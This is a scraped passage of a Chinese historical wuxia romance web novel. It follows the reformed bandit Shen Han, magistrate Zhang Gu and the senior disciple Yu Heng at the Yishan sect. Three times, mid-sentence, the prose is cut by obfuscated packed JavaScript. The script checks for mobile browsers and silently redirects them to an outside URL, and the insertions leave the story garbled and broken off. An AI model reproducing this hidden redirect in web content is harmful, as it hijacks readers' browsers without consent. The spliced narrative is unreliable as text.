张固嗓音清澈,缓缓道:“殷九定然猜到你身在夷山。我与郁珩相约,不归寨攻上夷山时,先诱他们深入,我再带兵包围。谁知被绊住了脚。我倒是没想到,河神也愿舍弃己身。” 沈寒抿唇,想起自己英勇献身的姿态倒是有些尴尬,“舍弃什么,我可从没打算舍弃自己。你被什么绊住了?” 张固面露难色,沈寒追问,“朝廷机密?不方便说?” 她与张固并不算陌生,曾经做河神之时,几次交锋把这个犟种气得够呛。可私下里,张固倒也没那么惹人讨厌。他今年二十有六,与殷九差不多的年纪,生得好看,一身正气却不疏离。正所谓官匪不两立,若是他们立场一致,一起喝一壶也是极好的美事。 张固双眉紧锁,道:“如今狄人入侵,中原陷落。太上皇欲南逃,丢下新帝独守汴京。陛下谕旨命我回京效命,特遣御史台监察来遣我归京。” 他这么说,沈寒便明了。 太上皇传位景平帝本就有推脱之意,如今社稷危矣,他自然是要南下跑路。张固性情刚正,听闻是放逐来到望仙这个小地方,想来曾经也是朝堂骨干。能千里迢迢传旨,张固到底是回京赴死,还是死守皇城,亦是不好说。此去生死难料,监察御史定然不会容他剿了匪再走。 也难怪他这次没将自己下大狱。 沈寒心里一酸,看张固的目光多了些悲悯,仿佛眼前这清癯如竹的县令已经是一具尸首了。 张固苦笑道:“你也不必这么瞧我。大梁不会亡,此去我定然是护好陛下,这是大义。” 只是奸臣当道,帝王昏庸,他这无谓的大义又有几人能看到呢? 没有意义的事情沈寒不会做,也不愿做。她扶着头,深深看张固一眼,随即合上眼。 暖热的温度烤得她昏昏欲睡,分明只是半日,她却好像看尽了半生那般疲倦。脑海里黑漆漆一片,突然浮现出郁珩的身形,那双孤执的眼睛也是一样的充满倦怠。 郁珩是个十分熟悉的人。 沈寒想不出更多,昏昏沉沉睡了下去。 直到耳边传来马夫一声,“大人,县衙到了。” 张固小心撩开帘子,自己身上玄色的大氅挡了大片寒风。他抬首望着沈寒,整个人比雪还干净。他身后是威仪又有些破败的衙门,未及而立之年,他总是这样撑起摇摇欲坠的社稷。 从望仙,到大梁。 张固宽和地对衙门前的人说:“来人,请沈姑娘入后苑歇息,收拾个干净的卧房出来。” 17. 不熟 翌日清晨,望仙县衙迎来稀客。 夷山少侠下山除恶是常事,一行人只是为掌门叫了辆简朴的小马车,一路晃晃悠悠来到了县衙。 二堂又称静思堂,是县令待客的地方。前任郑县令花天酒地,一个个富商大腹便便在静思堂饮酒作乐,热闹非凡,人人都道静思堂才是望仙达官显贵真正的去处。而今张固做了县令,静思堂也清寂下来。 掌门坐在静思堂的榉木官帽椅上,郑清商立在一旁,面色隐隐发僵。 掌门深深望了她一眼,郑清商立即吃了定心丸一般,垂首默立。 下人上了三碗清茶,张固一身鸦青色常袍撩开仪门走入。先向夷山掌门长揖,后向郑清商行平礼,举手投足间士人风范尽显。 只是他目光落在郑清商时,行云流水的动作微不可察一顿。 张固心里有些古怪,眼前的女子清丽出尘,是难得的大家闺秀。虽穿着料子挺括素色无纹的衣裳,却也盖不住身上世家淑女的气质。 漂亮的女子张固在汴京没少见,他并非因为郑清商漂亮才多加留心,而是觉得郑清商眼熟。 可一个夷山弟子,不折不扣的小地方平民出身,张固怎么可能见过。 他目光停留的一刹那,郑清商有所察觉,头埋得更低了。这一藏,便是失礼,更引起张固的怀疑。 张固并未纠缠,落座后恭敬问道:“夷山掌门此番前来,可是为了关押在衙门的河神?若是为此事,大梁律例严明,只怕掌门不能得偿所愿,张固失敬。” 掌门不动声色,道:“张大人不妨先听老朽讲个故事。” 张固微微倾首,掌门的视线顺着眼前的雕花窗棱,不断飘远。窗外是墨色山水,望仙风景如画,十年前,亦是这般。 那一年是昌和八年,盛夏时节一场大水,冲得无数人家家破人亡。涝灾之后,满目疮痍的家园,肆虐的疫病,反复折磨着望仙人。他们渴望一个救世主,渴望一个理由,能带他们走出这次浩劫。 河神发怒的说法开始在市井间流传。 起初,没有人相信真的有河神。随着疫病的扩散,朝廷的赈灾款每次只下来一星半点,冬天眼看着就要来了。叫天天不应叫地地不灵的望仙百姓开始相信,只要抚平河神之怒,便可以换取生机。 他们选了一个女童,因为这个女童的生辰是除夕,新年旧岁之交的时辰。 那天云色如青瓷,百姓们从哭泣的父母手中夺走了女童,将她抬向了濛水。河畔人山人海,许多人无法挤过去看祭祀河神的场面,却也兴奋地向前推搡。女童已经不是一个孩子,而是一束光,只要她献身,便可以托举整座望仙。 人声盖过祭祀的颂歌,他们不知道女童名叫什么,也忘记了她只有八岁。 只听“扑通”一声,天地无言,神鬼无声。 疫病总会褪去,不过需要牺牲更多的性命,家园也会重建,不过是一日一日的硬挨。而祭祀的那个女童,成为望仙闭口不谈的秘辛。 张固只是个初来乍到的县令,在官场上甚至有些热血与冒失,他只是个纯粹的年轻人。他听得心中怦然,遍体生寒,仿佛自己变成了被投入冰冷河水中的孩子。 如果所有人都要他死,他又当如何自处?张固不敢设想。 掌门含笑说:“匪寨已毁,三年前那场大火到底如何,想必张大人继任便已经查清。不若放苦命人一条生路。” 张固面色冷凝,“掌门,法度便是法度,不会因为一个故事发生改变。” 掌门了然,“夷山既已入世,沈寒拜入夷山便是夷山弟子,想必官府也不想与夷山起冲突吧?” 张固没想到和善的掌门话里藏刀,眸色一凛,抬眼却碰上掌门刚硬的双眼。 “尤其是大人即将临行,此时出乱子,于您,于汴京的陛下,都不好。” 监察御史的行踪是为绝密,夷山掌门久坐深山之中却能观天下?与夷山接触越久,张固越发觉得这个所谓的江湖门派深不可测。 几句话之间,他已经有些动摇。一则掌门之言属实;二则夷山名门正派,若能悉心教化沈寒,也算是给这个苦命人一条生路;三则张固看不清自己,他不明白自己为何要带沈寒回来,又为何不将她下狱。 张固慌了,回忆起他上任后的几次交锋,他本该疏离这些匪类,却总是忍不住走近。每一次交锋都是乐趣,他可以撕开河神的神秘面纱,看到这个女子最真实的内心。 他还没看清,他不能放开。国有国法,沈寒不能走。 一大串拒绝的话刚到唇翕,忽地下人慌张来报,“大人!后院那位不见了!” 张固搭在扶手椅上的手紧了紧,顾不得仪态猛然起身。 可在沈寒眼中,张固这一连串的行径,她从未多思。只因张固虽好吃好喝好住供她一晚,却把她关在院子里。 沈寒有些功夫,不包括轻功。墙面滑溜,她也爬不上去。 院门前官兵守着,她几次闯不出去,想在树下发呆,连棵树也没有。她只能坐在石阶上,撑着下巴心烦。 太阳暖融融照在身上,沈寒不由得想到,昨夜她刚安置下的时候,张固深夜来访。 他握一盏灯,深夜烛火映得双眼明亮如星。 沈寒披着长发,打开门见到文质彬彬的男人,有些惊诧。 将人迎进来,张固递上一封拜帖,道:“夷山递来的。他们还念着你。” 沈寒面上冷冰冰的,实际心里突然软了一块,接过拜帖反复端详。“没说明来意?” “没有。”张固能看出她在强装冷静,实则已经快乐飞了,心里有些酸楚。 沈寒道:“说不定只是找你叙叙旧呢。我不往心里去。” “那你会和他们走吗?” “先看他们的态度吧。” 沈寒是认真思考过的,她承认自己是一怒之下跟张固走了,当时也只是粗浅判断出此行并不危险。真要赖在张固这里,也说不过去。况且夷山待她并不差,能有个好去处,自己何必在外颠沛流离。 她现在没有梦想,也没有执念,心中空空的。虽不苟同夷山派名门正派的处世态度,但在那里安顿一段时间也不错。 张固突然正色道:“若是明天将你下狱,择日处斩呢?” 沈寒一怔,缓缓坐在椅子上。 其实她该做的,该杀的,该恨的,都已经了结,世间极恶落得这种结局是理所应当。 可她还是抬眼,声音有些颤,“我有罪,也不想死。” “那便告诉我,三年前那场大火,到底发生了什么?” 张固语气有些着急了,让沈寒感到不安。 她看到张固急切的神情,眼神躲开,道:“我放了一把火,烧了整个望仙,我把县令丢进水里。就是这样。” “你知道事实不是这样!”张固忍不住双手捏住沈寒的肩。 他不由得心里一惊。河神在他心里是英勇的,所向披靡的,可真的触碰下来,沈寒也不过是个十八岁的姑娘。换作旁家,有的还在读书绣花,有的已经出嫁。 沈寒阴骘地合目,再睁眼望向张固时,已经换成那个掀起血雨腥风的恶女。“我只是不想死,没说我要给你讲故事。若你真的期盼什么,便去自己查清楚,自己去告诉世人。你能做到吗?” “我……”张固惶然,他转而笃定道:“那你跟我走。” 沈寒又怔住了。 张固坚定道:“跟我去汴京。我斗不过那些人。陛下已然成为弃子,大梁有难,我定殉国。我斗不过汴京那些人,可我不会辜负陛下。你随我去,我给你一个新的身份。我死后也没有家人,你替我收敛;我那点浅薄积蓄,你拿着去重新开始!” “你等等……”沈寒按住他捏着自己肩头的手,被他惊得缓不过神。 一池清水何必染上墨色。 一个清正的县令何必与自己纠缠。 可张固只是想做一个公义之事。他这一生充满了无力感,在科举中杀出重围,被陛下赏识,被奸佞陷害,大起大落,竟一事无成。如今他将身死,也想做一件公义之事。 一个苟延残喘的旧朝臣子,能不能托起她的新生? 沈寒拒绝了,张固祈盼她多想想。 沈寒却留给他一句,“活下去。不要为了不值得的皇帝去死,只有你活着,大梁才有希望。” 不知道张固这样愚忠的犟种能不能想清楚这个道理,沈寒也不明白,他大手一挥将自己关起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359423|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么道理。 能有这样的机会晒太阳,沈寒也觉得难得。她只有见到张固才能解决问题,反正都是坐着,不如心情好些。 沈寒闭上眼,开始感受温软的阳光。 忽的,她感受到一道熟悉的目光落在自己身上。沈寒惊觉,睁眼一看,屋顶残破的缺口处,正坐着个人。 郁珩随意地坐在墙头,手搭在膝头,另条腿轻快地垂下。背后是墨色朦胧的望仙山水,他一身白衣皎洁似月。微风拂动发丝,这时候的郁珩难得的鲜活,一身少年气。 他面色疏离清冷,轻声开口,“气够了吗?” 他的确是个俊朗的男子,就这样从天而降,拨开沈寒混乱的思绪。 沈寒板起脸,瞪他一眼道:“与你何干?” 郁珩叹了口气,面色有些艰难,可最终吐出一句惊得沈寒脑中炸开的话。 “我错了。” “啊?” 沈寒跳起身,抬头望着郁珩。 他披着温暖的阳光,寒冰也在这样的阳光下消融。刚说完的话让他感到羞耻,耳廓爬上了可爱的粉红。 郁珩深吸一口气,长睫微颤,道:“回家吧。” 他朝沈寒伸出手,看得沈寒直恍惚。 她缓缓抬手,落在郁珩掌心,就像触碰到了一线天光。熟悉的温暖的感觉顺着掌心触电般传来,沈寒心头颤抖,只觉得身子一轻,便被郁珩拉了上去。脚下瓦片轻响,眼前豁然开朗——长街人声鼎沸,满是人间烟火。 人群中少年和少女穿梭而过,衣带生风,引得人人侧目。 一路来到回山的乡路上,中途沈寒还向郁珩讹了一包糖渍果子。 果子入口,外面一层糖便融化,甜意丝丝缕缕落入心底。 以往沈寒不嗜甜,今日不知怎的,这果子比什么珍馐佳肴都好吃。 她一边吃一边蹦蹦跳跳,看着身边有些枯黄的草木,信手撩起郁珩的发带,吟诗一首,“关关啾啾,在河洲洲。” 郁珩默了默,崩溃地阖目,“关关雎鸠,在河之洲。” 沈寒才不管他这套,道:“漂亮的郁珩,来吃个饭否?” 郁珩:“……” 还让她压上韵了。 郁珩的耳廓和脖颈又爬上了红,沈寒没脸没皮,发现这黑心莲倒是面皮薄,更加亢奋了。 她一直反复念叨,反复骚扰,黄莺似的叽叽喳喳笑个不停。 郁珩终于忍无可忍,冷声道:“抄一百遍。” “《关雎》又不长,抄就抄。” “一千遍,连《蒹葭》一起抄。” “你……你不是人!” 沈寒气得跺脚,吃人嘴短,又不能真的撒气。反正抄都抄了,不如犯贱犯到底,她开始拿捏着郁珩的衣衫,道:“虽说也是白色,不过比你们夷山的练功服好看。你生了好相貌,不打扮可惜了。不若试试玄色?黄色?朱红?翠色也行啊!” 郁珩不理她,继续冷脸向前走。 沈寒又递过糖渍果子,“大师兄,吃不吃?” “不吃。” “吃嘛,吃了少罚点。咱们这也两天没见了,你再把我欺负跑了,上哪找我这么活泼的小师妹?你有没有觉得,自从我去了夷山,你们日子都热闹了?” 郁珩看着她手里的果子,沉默了。 岂止热闹,明明是人仰马翻。 不过郁珩还是松了口,“能顺畅默出一遍就放过你。” 沈寒喜形于色,将自己漂亮的小脸横在郁珩面前,拼命眨巴眨巴眼,“多谢师兄宽宏大量。” 过了一会,她突然琢磨起来,自己什么时候和郁珩这般亲昵了。 不对劲,这很不对劲。 沈寒欲盖弥彰轻咳两声,道:“那个……你觉得我们很熟吗?” 郁珩走路素来目视前方,极为端正,丢回来冷漠的两个字,“不熟。” 沈寒瞬间安心下来,开心道:“对,我也觉得。我们一点也不熟。” 她没注意,素来目不斜视的郁珩,视线留在她身上很久很久。 枯草新生,冬阳正暖,乡道弯绕,淡入苍山之间。 风过林梢,郁珩嘴角极浅扬了下,随之迅速收敛去。 18. 一念 沈寒并非顽固不化之人,能将山魈扳倒的姑娘,定然聪慧且识时务。因此郁珩难得降尊纡贵道歉,沈寒便将他设局算计之事轻轻揭过。 张固被监察御史带走那日,满城百姓夹道相送。连夷山派掌门也出面来到城门送别。 沈寒没有去。 她独坐在夷山崖边,隔着青色薄雾,只能看到鳞次栉比的房屋,寻不见县令离去的青篷马车。 她本可以去送一程,思来想去,自己也不过一个“上岸”山匪,还是不要浊了县令大人清流的衣角罢。 那场恶战的后事,郁珩默默料理妥帖。 他逐一探望死去的夷山弟子的家人,赠银钱,送米粮,时常带着师弟师妹去帮衬。不窥其心,他是个好师兄。 练剑台前一片缟素,只是死去了五名最不起眼的弟子,对于夷山来说,依然值得操办。 白绫翻飞,夷山弟子的哭声在耳边回荡,沈寒看到素来目中无人的郁云笙趴在三师父身边哭,心头某处微微一动。 她原以为,死了五个无名小卒,就像不归寨折了五个喽啰。寨主不会在意,可夷山人记得。他们被冠以英烈之名,从山门发丧,魂归故里。 棺木之前,郁珩神情肃穆如霜雪,沈寒遥遥望着他圣洁无暇的侧脸,竟从中窥得一丝悲戚。 而后的夷山一如往常,讲学,练功,比武,打杂…… 沈寒开始留心夷山的暗流,她突然顿悟,小小的夷山也并非铁板一块。 有人的地方就有江湖,夷山寸缕之地亦然。夷山之中分为两派,以岳震、李飞云为首的“守山派”主张遗世独立,欲与世人彻底切割;而谢天吟所在的“入世派”则欲在乱世洪流之中为大梁百姓谋一个公义。 两派争执不休,随着北狄南下,必将斗出个结果。而郁珩作为掌门唯一的弟子,他的态度,便是掌门的态度。沈寒身处夷山,不归寨势必攻山,夷山派卷入尘世洪流已然不可阻挡。夷山被推着走,却不知暗中推动他们的那只手,正是他们冰清玉洁的大师兄。 再看对郁珩百般崇拜的夷山弟子,沈寒不禁觉得荒唐可笑。她心里讥诮,嘴上没忍住就笑出了声。 突然间,一片阴影当头罩下。沈寒心里咯噔一声,缓缓抬头,夫子正对着她怒目而视。 夫子早已经看沈寒不顺眼,厉声道:“沈寒!站起来!” 沈寒懵然起身,飘远的思绪手忙脚乱往回拽。 “我讲到哪了?” 薛敢在后排虚声拼命道:“心印篇——” 手里的书本不停摇晃,暗示沈寒翻书。 话未递过去,夫子一书拍在他头上。薛敢怪叫一声,捂着头不敢作声。 沈寒手忙脚乱翻开桌上的《夷山宗训》,却根本没找到劳什子心印。她再次求助地瞥向薛敢,薛敢不敢开口,只能做口型。 沈寒艰难辨认半晌,吐出晦涩二字,“双……双剑合璧可以更好破敌?” 满堂哄然。 夫子横身挡在二人中间,眉梢挑起,“书都没翻开,还想双剑合璧。若是做人都做不明白,百剑于你都是枉然。” 沈寒抿唇垂首。她本一身反骨,只是这夫子是李飞云的好友,不折不扣的守山派老古板,她没必要与他硬碰硬。 夫子又道:“你来夷山快一月,理应熟记宗训。你倒是说说,夷山宗训最为首要的一条是什么?” 沈寒闭眼,浮现出在止室抄书的苦日子,“一剑天地,一念苍生。修剑先修悲悯,炼气守炼仁心。” “不对。”夫子否得斩钉截铁。 沈寒从善如流换一条,“剑气不轻鸣,韬略不妄言。” “不对。” “薪火相传,匡扶人道。” “不对。” 沈寒哑口无言。 夫子语露威肃,“侠者,蓄势,守静,养锐,自知。守山即守心,并非避尘寰灾祸,避的是心垢。十年面壁,百年铸剑,其中含义并非你等顽劣女子能懂的。既然如此,为何不安安分分在家绣花?” 本是一串是是非非的大道理,可他偏生扯上女子。 须知江湖儿女不同俗世凡人。乱世之中,女子虽困在内闱,不得轻易踏出家门。而江湖女子,不在意俗世目光,活得肆意洒脱。江湖儿女不受规训,以剑论尊卑。 夫子话音未落,坐在远处的郁云笙立即驳道:“夫子此言,岂不是我们师姐妹都回家绣花了事?” 并非郁云笙有心护沈寒,她本就是个炮仗脾气,哪里话不顺她都要怼回去。 夫子轻蔑扫她一眼,“你娇纵任性,毫无治学之诚,更无武者之仪。若非你父亲是掌门,岂有资格坐在这里对着老夫无礼?” 郁云笙往日也算是个听话的学生,夫子疾言厉色几句,她气焰顿消。 沈寒便立即接道:“夫子此言,才是井底之蛙。男人们许诺女子掌家,不过是一个精妙的谎话。如今烽火连天,哪个平凡人家的女子能稳坐绣阁?还不是赚钱管家两手抓!夫子口口声声说避世,到最后世情、世理一概不知,才真是错了。” 夫子冷笑,“依你所言,君臣父子都是骗人的?” 沈寒道:“无非自我抬举罢了。大家都是人,又有什么不一样?” 夫子难得被呛个哑口无言,薛敢在后面拱火吹了声悠长的口哨,整个学堂彻底炸开。 夫子眯了眯眼,寒声对沈寒下了判,“劣性难改!” 沈寒一愣。 起初她没觉有什么,随既心口发涩,此言甚是伤人。 她是坏,可谁出生不是赤条条一个小儿,凭何一口判她天生为恶类? 沈寒沉声道:“我敬你为夫子,只因您传道授业,可您一口定我性劣,有愧师名。” 她冷静下来,一双美目锐利似剑,坚毅得像个斗士,要与夫子分说个清楚。 夫子坦然,“世间本清,而有人生而性劣,难以教化。夷山立派贵在清气,因此避世也是避浊。你这般戾气深重之人,居于清净之地,自然难安。须知性劣才要虚心做人,要心怀恩情。” “太上皇弃百姓南逃,夫子认为,太上皇如何?” 夫子倨傲道:“弃大梁百姓于不顾,性劣无疑。” 沈寒追问,“可他为大梁夺回边陲数州,与狄人苦苦周旋,又当何论?” 夫子道:“因小失大,愚不可及。” “君臣父子,太上皇为君,夫子是臣民,避世便是避了臣之责,方才的评判又失了臣子的礼。夫子又该如何自处?” 夫子默了默,花白眉下狭目闪过一道恼怒。 沈寒步步紧逼,“不若放下身份,太上皇只是个人罢了。他会做对的事,也会做错的事。是非功过自有史书评判,岂由夫子一言定论?太上皇会错,夫子也会错,错久了铸成恶,可见人人皆善,人人皆恶。善恶一念之间,而夷山剑法也不过一念。我想,这才是夷山宗训中最要紧的一条——一念起而救苍生。” 一时掌声雷鸣,薛敢高声叫好,其他弟子纷纷附和,就连郁云笙也难得对沈寒投来赞许的目光。他们久居山上,或许不懂山下的疾苦,但他们知道,这是学生挑衅夫子的一次胜利。 夫子被怼的一言不发,面沉如水,沈寒心中颇为痛快,转眼看到窗外立着个清举寂寥的身影。 不知道郁珩在那里听了多久,只是看他面色沉凝,沈寒心中涌起不祥的预感。 夫子心高气傲,呵不住满堂欢声,干脆摔门离去。临走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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并非沈寒有耐心,掌门这一按力道十足,沈寒坐下便动弹不得了。她从牙缝中挤出不甘一声,“你们夷山才是真的匪窝,来了便不让走了。” “谁让你我有缘呢?”掌门笑得像尊弥勒佛,道:“沈姑娘,你想,若是留在夷山,拿下了栖霞会武魁首,你也算步入正道。前尘往事一忘皆空,以后只有武功盖世的女侠沈寒,那个山匪沈寒彻底烟消云散了。” 可沈寒不讨厌自己的过往。她虽知自己行恶事,却不会遮掩。她是个磊落的人,做过山匪就是做过,即便后半生要背负恶名,她也不会欺世盗名。 更何况,她对步入正道毫无兴趣! 沈寒脸上刚露出憎恶,掌门便改口道:“若是传你夷山武艺,夺得魁首,你可知彩头是什么?” 沈寒不耐烦道:“增加功力的灵丹妙药?独门武功秘笈?” “啼凰琵琶。” 沈寒垂在台阶上的手骤然攥紧了。 啼凰琵琶,乃是江宁府凤箫楼头牌琵琶娘子的宝琴。昌和十三年,凤箫楼大火,琵琶娘子葬身火海,啼凰琵琶亦是不知所踪。 曾有人千金求购琵琶残骸,若是能得到这把琴,一生富贵不愁。 江湖人也要吃饭啊,身处乱世,这把琴对于各大门派的诱惑力极大,虽非秘笈,却也是个重要的宝器。 毕竟凤箫楼大火,与贾相之死有抹不开的关系。 沈寒呼吸渐重,久久凝视着自己的鞋尖。耳畔仿佛回荡着嘶喊、女人的尖叫、木梁燃烧断裂的爆响,还有一个男人的呼唤。 “活下去。” 那个人是这么说的。 啼凰现世,是缘还是劫? 沈寒深吐一口气,抬眼时目光已定。 “好,我去。” 19. 蒹葭 出乎意料的是,沈寒将夫子气了个半死,竟没有挨罚。这件事夷山上下轻轻揭过,沈寒依旧练功读书,夫子觉出她不好惹,课上再没针对。 少了与王夫之斗智斗勇,反倒无趣起来。 薛敢对此不禁称道:“美人儿你当真盖世豪杰,这老学究见到你都要绕道走。” 话虽如此,沈寒并非得寸进尺之人。往日见到王夫子,她都要无礼唤作“老王”,现如今也知礼数道一声“夫子好”。 她知道留在夷山是寄人篱下,她有心参加会武,便要夹起尾巴做人。 冬日午后,止室蒙上层软金色的阳光,这与屋子里清灰冷调相冲突。屋里熏着淡淡的雪松香,和郁珩身上的气息如出一辙。光将屋子劈成阴阳两半,沈寒坐在光下写字,郁珩则静坐暗处抚琴。 琴音泠泠,是上等的雅乐。沈寒是通晓乐律之人,却也因抄书昏昏欲睡。 她被阳光笼着,两眼犯迷糊,不知不觉做起了短暂的梦。梦里一会是大火之中的江宁,一会又是夷山饭堂袅袅烟火气。 沈寒也没想到,一别江宁五载,她还会因为那场大火魂牵梦萦。 郁珩手下的琴音如流水潺潺,拨乱沈寒的心弦。沈寒的思绪顺着琴声越飞越远,突然想起郁珩亦有一把琵琶。 她疲倦抬眸,那琵琶造型朴素,应当不是名贵宝琴,卧在角落却不吃灰,与郁珩的爱琴霜辞一个待遇。 起初,琵琶本也是名士雅乐。自从凤箫楼等一众秦楼楚馆兴起后,艺伎乐伶各个争相斗艳,曲调越发艳丽,辞藻越发绚烂。美则美矣,失了格调。任何高雅之物在市井泛滥,也就不再高雅。渐渐的,本朝名士开始偏好抚琴,琵琶倒是不入流起来。 郁珩难道会弹琵琶? 沈寒见过弹琵琶之人皆是她的小姐妹,没见过冰清玉洁的高岭之花弹琵琶,她越想越觉得有趣,视线从琵琶上游离至郁珩身上。 不得不说,郁珩是极度标致的一个男人,他身上有夷山的剑气与山水,自带一层磅礴与冷情。 他垂首抚琴,长发一丝不苟竖起,一丝碎发都不松散。长睫投下淡青的阴影,随着指尖的动作微微颤动,令人难以探查他的情绪。鼻梁高挺如峰,嘴唇薄而自矜,一身阔袖云缎自成风流。 狼毫笔尖凝着一滴墨,在泛黄的纸页炸绽开了花。 琴音乍停,那双薄情寡义的眸子突然抬起,沈寒有一种偷懒被捉住的感觉,立即垂首装作埋头苦写。好在她再次偷看郁珩时,此人虽停止抚琴,也没有追责自己,垂眸凝望着霜辞,不知道在想什么。 管他在想什么,趁郁珩不注意,沈寒连忙开始藏滴了墨的纸。 郁珩这个人看上去是高洁雅士,实则小心眼的很,若是被他发现自己不好好抄书又走神,免不了一百遍《蒹葭》变五百遍。 她穿了条素色长褙子,将纸攥在手中成团,顺手就滑进阔袖之中。 藏完沈寒定了定神,欲抬笔重抄,没想到头顶阵阵发寒。她一看,郁珩不知何时站在桌案前,一双长眼幽邃望着自己。 沈寒心绪吞咽了下,厚着脸皮嘻嘻笑起来。 郁珩薄唇紧闭,一语不发,沈寒识趣,知道这时候自己最好快快抄起。于是她不多辩解,抓起狼毫迅疾继续写起来。 郁珩的目光一直在自己身上,沈寒浑身不自在,加上她写字一直都是照葫芦画瓢,每一个字歪七扭八,还不如刚刚致学的小儿。 终于,郁珩忍无可忍开口,“你抄成这般,不如多加一百遍。” 沈寒握着笔杆子佯怒,抗议道:“我抄成哪般?能认得出不就行?” 说完自己也有点心虚,毕竟郁珩的字是一等一的好看。止室本就有名士风流,松香雅韵里她就是一草包,她都觉得自己这一手字辱没手里的郁珩的文房四宝。 郁珩并不与她辩论,淡淡道:“二百遍。” “你……”沈寒咬牙,痛彻心扉道:“我尽力了,我这把字就这样了。没有字丑的人,哪能衬托出你们字好看的人?” 郁珩道:“并非你写不好,只是你不得写字的要领。若要写好字,一则心静,二则神定,三则起承转合自带章法。字如其人,你不用心领悟权当作画,如何能写好?” 他语气并不温柔,甚至是劈头盖脸一通教育,颇有王夫子的风范。 沈寒悲壮阖眸,“我不懂章法,我能写出来就谢天谢地,师兄就别多做要求了。” 话音方落,一阵冷冽雪松香袭来,仿佛将沈寒丢进了冰天雪地。 郁珩俯身,握住沈寒的手,竟一板一眼开始在纸上写字。 蒹葭苍苍,白露为霜。 他的手漂亮修长,骨节分明,淡青色的血管若隐若现。奇怪的是他衣袖遮掩处,若隐若现露出一块燎疤,伤得丑陋狰狞,坏了整只手的美感。想来江湖中人受伤也是常事,可惜了这只美手。 郁珩很高,为了迁就沈寒,他轻轻伏身,长发顺着挺直的脊背滑到沈寒肩头,带来丝丝缕缕痒痒的凉意。沈寒心漏一拍,抬眼正好看到他冰冷的下颌,清晰的喉结,还有深邃的长眸。 不知为何,明明这样冷的人,手心纳着沈寒的手背,却并不觉得冰。温温热热,有些熟悉的触感,将沈寒拉进独属于郁珩的天地里。 一字一天地,郁珩字行得端方,人活得雅正。 他虽与自己接近,却是这般不可亵渎。 所谓伊人,在水一方。 风轻轻吹着书页,郁珩教得一丝不苟,一切都如梦似幻。沈寒莫名有些伤感,她自己都为此觉得可笑,难免生了彷徨。 只听郁珩不近人情落下一句,“认真学。” 沈寒抿了抿唇,开始仔细听郁珩讲解如何写好字。 郁珩讲得悉心,起笔顿笔一清二楚,沈寒的字竟也脱胎换骨,原本软趴趴的字精神抖擞起来。 郁珩松开她,迫人的雪松香淡淡散开。两个人维持着有些暧昧的距离。 沈寒看着自己也能写出漂亮的字,不禁有些开心,一边乘胜追击继续练,嘴上也开始没边,“往日抄《道德经》,道来道去没意思。现在抄小情诗,风流多了。” 说完她紧急闭上嘴,觉得自己口无遮拦,话中有些暧昧了。 郁珩却正色道:“未必是情诗,看你如何解。” “能有何解?” “伊人飘渺,道阻且长。溯洄溯游,此心不移。” 他投来惊心动魄一眼,沈寒心高高悬起,嘴唇张了张,说不出言语。总觉得薄情之人也会执念深重,郁珩曾犯过大错,他也有一段偏执的过往。 沈寒痴痴问了声,“伊人……是谁?” “世间便是苍茫名利场,若是一生追逐,自然艰险。人言若水,初心难求。真正的伊人并非一人一物,而是那颗经年不改的剑心。” 言之凿凿,全是无用大道理! 沈寒见他浑身上下古板腐朽之气已经透出皮表,不禁抿了抿嘴,后悔自己心里对他的殷切期待。 只听郁珩轻飘飘道:“再加一百遍,越是写不好便继续加。” 不解风情! 夷山虽是名门正派,却少了些雅趣,每个人都循规蹈矩。郁珩不解风情,作为夷山楷模,夷山人也不解风情。 沈寒在夷山的日子,便是这样在不解风情中继续过着。 寒冬料峭,连出了十日的太阳,虽积雪未消,却也让生活暖洋洋的。沉默而又固执的夷山,透着一股子慵懒劲,每一个夷山弟子都懈怠起来,早功不积极,读书不积极,练剑不积极,唯独比试和吃饭最积极。 马上过年,采买的师父拉了一车冬衣。如今兵荒马乱,朝廷无心资助各大江湖门派,夷山后山的草药虽卖了些钱,却也不比往年富足。 沈寒还没领到冬衣,便听耳边师兄弟们怨声连天,直呼料子变差,穿得大不如前。 夷山冬衣十分朴素,一件交领双层裌衣和一件靛青直身素袍。 冬衣发到沈寒手里的时候,她却有些知足。只因她往日所得,非得是坑蒙拐骗,亦或是强取豪夺。凭空而降的衣服不曾有过。 她反复追着薛敢问了许多遍,“真的不要钱?” 薛敢虽懒洋洋的,还是耐心道:“不要钱,真的不要钱。不过听说饭堂的师哥杀了只鸡,美人儿你晚上有没有心思陪我去偷鸡汤?” 沈寒没有和他去偷鸡汤。 这一晚上,她抱着衣服惴惴不安。她总觉得夷山有利可图,可人手一件,她似乎和其他弟子没什么不同。 为什么会发给她呢?她是山匪,是异类,是恶女!怎能将她一视同仁呢? 除了衣衫一视同仁,连练功亦是一视同仁。没有因沈寒是野路子给她开小灶,就让她在一众夷山弟子里厮混。 沈寒并没有因为不懂剑法而吃亏,反倒是乱拳打死老师傅。她经常仗着自己的蛮力将比试的郁云笙掀翻在地。每次郁云笙气得跺脚,她便乐不可支。 因天气愈寒,夷山弟子每日体力消耗又大,又因临近年关,采买了许多食材,饭堂缕缕飘出诱人的香气。还没到吃饭的时辰,一个个夷山弟子便丢下剑追着香气而去,又被三师父骂骂咧咧训斥回去继续练功。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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起因是与薛敢过招后,两个人嬉笑打闹路过练剑台,那被自己震碎的石剑仍立在那,虽经人修补,中间的裂痕也无法弥合。 沈寒默默翻阅古籍,得知可以用生粉、鱼鳔胶修复,只是极为费工夫。 